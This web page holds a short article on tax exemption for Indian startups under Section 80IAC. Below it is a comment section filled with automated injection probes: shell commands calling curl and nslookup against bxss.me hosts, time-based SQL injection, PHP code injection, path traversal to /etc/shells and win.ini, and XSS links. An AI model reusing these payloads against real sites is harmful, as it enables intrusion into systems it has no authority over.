Written By: Swati Baid

Date: 25/05/2023

Tax Exemption u/s 80IAC of Income Tax Act to Startup in India

The following entities can claim the profit earned in a previous year as exemption u/s 80IAC:

  • The entity must be a Private Limited Company, a Registered Partnership Firm or a Limited Liability Partnership
  • The entity must be formed between 1st April 2016 and 31st March 2023
  • The entity must be in existence for a period not more than 10 years from the date of Incorporation
  • The annual turnover of the entity must not exceed Rs. 100 crore for any of the financial years since its Incorporation
  • The entity must not be formed by the transfer to a new business of machinery or plant previously used for any purpose.

Exception for newly formed entity

  1. If any machinery or plant was used outside India by any person other than the assessee that shall not be regarded as machinery or plant previously used for any purpose, if all the following conditions are fulfilled, namely:—

(a) such machinery or plant was not, at any time previous to the date of the installation by the assessee, used in India;

(b) such machinery or plant is imported into India;

(c) no deduction on account of depreciation in respect of such machinery or plant has been allowed or is allowable under the provisions of this Act in computing the total income of any person for any period prior to the date of the installation of the machinery or plant by the assessee.

2.   Where in the case of a start-up, any machinery or plant or any part thereof previously used for any purpose is transferred to a new business and the total value of the machinery or plant or part so transferred does not exceed twenty percent of the total value of the machinery or plant used in the business, then the condition specified in respect of new plant and machinery therein shall be deemed to have been complied with

 

Exemption that can be claimed

The above-mentioned entities can claim exemption being 100% of the profit earned from the business for any three consecutive years out of the initial ten years of its Incorporation.

 

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Written By: Swati Baid


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`(nslookup -q=cname hittyknwhnpxn02e98.bxss.me||curl hittyknwhnpxn02e98.bxss.me)` (Poseted On : 2024-06-08 10:48:34am)

555

Anonymous (Poseted On : 2024-06-08 10:48:35am)

".gethostbyname(lc("hitnz"."jufwnhtsa460f.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(87).chr(112).chr(65)."

Array (Poseted On : 2024-06-08 10:48:35am)

555

;(nslookup -q=cname hittuziztvrjiec8cc.bxss.me||curl hittuziztvrjiec8cc.bxss.me)|(nslookup -q=cname hittuziztvrjiec8cc.bxss.me||curl hittuziztvrjiec8cc.bxss.me)&(nslookup -q=cname hittuziztvrjiec8cc.bxss.me||curl hittuziztvrjiec8cc.bxss.me) (Poseted On : 2024-06-08 10:48:35am)

555

Anonymous (Poseted On : 2024-06-08 10:48:36am)

gethostbyname(lc('hitew'.'drwwpspt338b7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(70).chr(112).chr(76)

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg (Poseted On : 2024-06-08 10:48:36am)

555

Anonymous (Poseted On : 2024-06-08 10:48:36am)

555

'.gethostbyname(lc('hithv'.'qcotqiwydb8a1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(82).chr(122).chr(69).' (Poseted On : 2024-06-08 10:48:36am)

555

Http://bxss.me/t/fit.txt (Poseted On : 2024-06-08 10:48:37am)

555

|(nslookup${IFS}-q${IFS}cname${IFS}hitdnxwboqdlb48324.bxss.me||curl${IFS}hitdnxwboqdlb48324.bxss.me) (Poseted On : 2024-06-08 10:48:37am)

555

Anonymous (Poseted On : 2024-06-08 10:48:37am)

555-1) OR 907=(SELECT 907 FROM PG_SLEEP(15))--

".gethostbyname(lc("hitvp"."sjogyihw78c72.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(82).chr(102).chr(80)." (Poseted On : 2024-06-08 10:48:37am)

555

Array (Poseted On : 2024-06-08 10:48:38am)

555

&(nslookup${IFS}-q${IFS}cname${IFS}hitnbvfavhjoi17862.bxss.me||curl${IFS}hitnbvfavhjoi17862.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnbvfavhjoi17862.bxss.me||curl${IFS}hitnbvfavhjoi17862.bxss.me)&`' (Poseted On : 2024-06-08 10:48:38am)

555

Anonymous (Poseted On : 2024-06-08 10:48:38am)

555

Anonymous (Poseted On : 2024-06-08 10:48:39am)

555-1)) OR 695=(SELECT 695 FROM PG_SLEEP(15))--

http://bxss.me/t/fit.txt?.jpg (Poseted On : 2024-06-08 10:48:39am)

555

Anonymous (Poseted On : 2024-06-08 10:48:39am)

555

gethostbyname(lc('hitjr'.'mkrivmhdf9561.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(86).chr(99).chr(79) (Poseted On : 2024-06-08 10:48:39am)

555

Anonymous (Poseted On : 2024-06-08 10:48:40am)

555

Anonymous (Poseted On : 2024-06-08 10:48:40am)

555

Array (Poseted On : 2024-06-08 10:48:40am)

555

/etc/shells (Poseted On : 2024-06-08 10:48:41am)

555

Anonymous (Poseted On : 2024-06-08 10:48:41am)

555

'"() (Poseted On : 2024-06-08 10:48:41am)

555

Anonymous (Poseted On : 2024-06-08 10:48:41am)

555

Anonymous (Poseted On : 2024-06-08 10:48:42am)

555x51kGtig' OR 119=(SELECT 119 FROM PG_SLEEP(15))--

../../../../../../../../../../../../../../etc/shells (Poseted On : 2024-06-08 10:48:42am)

555

Anonymous (Poseted On : 2024-06-08 10:48:42am)

555

Anonymous'&&sleep(27*1000)*isghkf&&' (Poseted On : 2024-06-08 10:48:42am)

555

Anonymous (Poseted On : 2024-06-08 10:48:43am)

555

c:/windows/win.ini (Poseted On : 2024-06-08 10:48:43am)

555

Anonymous (Poseted On : 2024-06-08 10:48:43am)

555

Anonymous (Poseted On : 2024-06-08 10:48:44am)

555

Anonymous"&&sleep(27*1000)*qbyvdp&&" (Poseted On : 2024-06-08 10:48:44am)

555

Anonymous (Poseted On : 2024-06-08 10:48:44am)

555O3zmQSXK') OR 460=(SELECT 460 FROM PG_SLEEP(15))--

Anonymous (Poseted On : 2024-06-08 10:48:45am)

555

bxss.me (Poseted On : 2024-06-08 10:48:46am)

555

Anonymous (Poseted On : 2024-06-08 10:48:46am)

555

Anonymous'||sleep(27*1000)*umutxw||' (Poseted On : 2024-06-08 10:48:49am)

555

Anonymous (Poseted On : 2024-06-08 10:48:49am)

555aCxBPL4N')) OR 113=(SELECT 113 FROM PG_SLEEP(15))--

Anonymous (Poseted On : 2024-06-08 10:48:50am)

555

(Poseted On : 2024-06-08 10:48:51am)

555

Anonymous"||sleep(27*1000)*gilbeq||" (Poseted On : 2024-06-08 10:48:51am)

555

Anonymous (Poseted On : 2024-06-08 10:48:52am)

555

Anonymous (Poseted On : 2024-06-08 10:48:53am)

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Anonymous (Poseted On : 2024-06-08 10:48:53am)

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Anonymous (Poseted On : 2024-06-08 10:48:54am)

555

Anonymous (Poseted On : 2024-06-08 10:48:54am)

555

Anonymous (Poseted On : 2024-06-08 10:48:54am)

555

Anonymous (Poseted On : 2024-06-08 10:48:55am)

555

Anonymous (Poseted On : 2024-06-08 10:48:55am)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Anonymous (Poseted On : 2024-06-08 10:48:56am)

';print(md5(31337));$a='

Anonymous (Poseted On : 2024-06-08 10:48:56am)

555

Anonymous (Poseted On : 2024-06-08 10:48:57am)

HttP://bxss.me/t/xss.html?%00

Anonymous (Poseted On : 2024-06-08 10:48:57am)

555

Anonymous (Poseted On : 2024-06-08 10:48:57am)

bxss.me/t/xss.html?%00

Anonymous (Poseted On : 2024-06-08 10:48:57am)

555

Anonymous (Poseted On : 2024-06-08 10:48:58am)

555'"

Anonymous (Poseted On : 2024-06-08 10:48:58am)

555

Anonymous (Poseted On : 2024-06-08 10:48:58am)

";print(md5(31337));$a="

HttP://bxss.me/t/xss.html?%00 (Poseted On : 2024-06-08 10:48:58am)

555

Anonymous (Poseted On : 2024-06-08 10:48:59am)

555ˤˢ%2527%2522\'\"

Anonymous (Poseted On : 2024-06-08 10:48:59am)

${@print(md5(31337))}

Anonymous (Poseted On : 2024-06-08 10:48:59am)

555

bxss.me/t/xss.html?%00 (Poseted On : 2024-06-08 10:48:59am)

555

Anonymous (Poseted On : 2024-06-08 10:49:00am)

555

Anonymous (Poseted On : 2024-06-08 10:49:00am)

@@m6jzP

Anonymous (Poseted On : 2024-06-08 10:49:00am)

"+"A".concat(70-3).concat(22*4).concat(106).concat(66).concat(99).concat(83)+(require"socket" Socket.gethostbyname("hittq"+"hnarcijlf9bf6.bxss.me.")[3].to_s)+"

Anonymous (Poseted On : 2024-06-08 10:49:00am)

555

Anonymous (Poseted On : 2024-06-08 10:49:01am)

${@print(md5(31337))}\

Anonymous (Poseted On : 2024-06-08 10:49:01am)

555

Anonymous (Poseted On : 2024-06-08 10:49:01am)

555

Anonymous (Poseted On : 2024-06-08 10:49:01am)

'.print(md5(31337)).'

Anonymous (Poseted On : 2024-06-08 10:49:02am)

555

Anonymous (Poseted On : 2024-06-08 10:49:02am)

'+'A'.concat(70-3).concat(22*4).concat(110).concat(66).concat(101).concat(65)+(require'socket' Socket.gethostbyname('hitqd'+'xhoqkefl34d9c.bxss.me.')[3].to_s)+'

Anonymous (Poseted On : 2024-06-08 10:49:02am)

Anonymous (Poseted On : 2024-06-08 10:49:03am)

555

Anonymous (Poseted On : 2024-06-08 10:49:03am)

555

Anonymous (Poseted On : 2024-06-08 10:49:03am)

555

Anonymous (Poseted On : 2024-06-08 10:49:03am)

555

Anonymous (Poseted On : 2024-06-08 10:49:04am)

'{${print(md5(31337))}}'

12345'"\'\");|]*{ <>¿''💡 (Poseted On : 2024-06-08 10:49:04am)

555

Anonymous (Poseted On : 2024-06-08 10:49:04am)

555

Anonymous (Poseted On : 2024-06-08 10:49:05am)

'A'.concat(70-3).concat(22*4).concat(110).concat(67).concat(100).concat(73)+(require'socket' Socket.gethostbyname('hitrg'+'kvjrfqpa90911.bxss.me.')[3].to_s)

Anonymous (Poseted On : 2024-06-08 10:49:05am)

555

"+"A".concat(70-3).concat(22*4).concat(104).concat(87).concat(103).concat(72)+(require"socket" Socket.gethostbyname("hitwt"+"avqlpknmfb708.bxss.me.")[3].to_s)+" (Poseted On : 2024-06-08 10:49:06am)

555

Anonymous5voz7n56 (Poseted On : 2024-06-08 10:49:06am)

555

Anonymous (Poseted On : 2024-06-08 10:49:06am)

555

Anonymous (Poseted On : 2024-06-08 10:49:06am)

555

Anonymous (Poseted On : 2024-06-08 10:49:07am)

555

'+'A'.concat(70-3).concat(22*4).concat(120).concat(85).concat(105).concat(74)+(require'socket' Socket.gethostbyname('hitfb'+'iwgpanuq09a94.bxss.me.')[3].to_s)+' (Poseted On : 2024-06-08 10:49:07am)

555

Anonymous (Poseted On : 2024-06-08 10:49:07am)

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

Anonymous (Poseted On : 2024-06-08 10:49:08am)

555

Anonymous (Poseted On : 2024-06-08 10:49:08am)

555

Anonymous (Poseted On : 2024-06-08 10:49:09am)

555

Anonymous (Poseted On : 2024-06-08 10:49:09am)

print(md5(31337));//

'A'.concat(70-3).concat(22*4).concat(102).concat(69).concat(106).concat(82)+(require'socket' Socket.gethostbyname('hited'+'uepkorpye8288.bxss.me.')[3].to_s) (Poseted On : 2024-06-08 10:49:09am)

555

Anonymous (Poseted On : 2024-06-08 10:49:09am)

555

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) (Poseted On : 2024-06-08 10:49:10am)

555

-1 OR 2+697-697-1=0+0+0+1 -- (Poseted On : 2024-06-08 10:49:10am)

555

Anonymous (Poseted On : 2024-06-08 10:49:10am)

555

Anonymous (Poseted On : 2024-06-08 10:49:11am)

555

Anonymous (Poseted On : 2024-06-08 10:49:11am)

{php}print(md5(31337));{/php}

Anonymous (Poseted On : 2024-06-08 10:49:12am)

555

Anonymous (Poseted On : 2024-06-08 10:49:12am)

555

Anonymous (Poseted On : 2024-06-08 10:49:13am)

555

Anonymous (Poseted On : 2024-06-08 10:49:13am)

555

Anonymous (Poseted On : 2024-06-08 10:49:13am)

[php]print(md5(31337));[/php]

Anonymous (Poseted On : 2024-06-08 10:49:13am)

555

-1 OR 2+605-605-1=0+0+0+1 (Poseted On : 2024-06-08 10:49:14am)

555

Array (Poseted On : 2024-06-08 10:49:14am)

555

Anonymous (Poseted On : 2024-06-08 10:49:14am)

555

Anonymous (Poseted On : 2024-06-08 10:49:15am)

555

-1' OR 2+629-629-1=0+0+0+1 -- (Poseted On : 2024-06-08 10:49:16am)

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); (Poseted On : 2024-06-08 10:49:16am)

555

Anonymous (Poseted On : 2024-06-08 10:49:16am)

555

Anonymous (Poseted On : 2024-06-08 10:49:17am)

xfs.bxss.me

';print(md5(31337));$a=' (Poseted On : 2024-06-08 10:49:18am)

555

-1' OR 2+748-748-1=0+0+0+1 or '9GNOKkTF'=' (Poseted On : 2024-06-08 10:49:18am)

555

Anonymous (Poseted On : 2024-06-08 10:49:19am)

555

xfs.bxss.me (Poseted On : 2024-06-08 10:49:19am)

555

";print(md5(31337));$a=" (Poseted On : 2024-06-08 10:49:20am)

555

-1" OR 2+762-762-1=0+0+0+1 -- (Poseted On : 2024-06-08 10:49:21am)

555

Anonymous (Poseted On : 2024-06-08 10:49:21am)

555

Anonymous (Poseted On : 2024-06-08 10:49:21am)

555

${@print(md5(31337))} (Poseted On : 2024-06-08 10:49:22am)

555

${@print(md5(31337))}\ (Poseted On : 2024-06-08 10:49:23am)

555

if(now()=sysdate(),sleep(15),0) (Poseted On : 2024-06-08 10:49:24am)

555

'.print(md5(31337)).' (Poseted On : 2024-06-08 10:49:24am)

555

Anonymous (Poseted On : 2024-06-08 10:49:25am)

'"

Anonymous (Poseted On : 2024-06-08 10:49:25am)

555'"()&%

Anonymous (Poseted On : 2024-06-08 10:49:25am)

555

Anonymous0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Poseted On : 2024-06-08 10:49:26am)

555

(Poseted On : 2024-06-08 10:49:26am)

555

Anonymous (Poseted On : 2024-06-08 10:49:26am)

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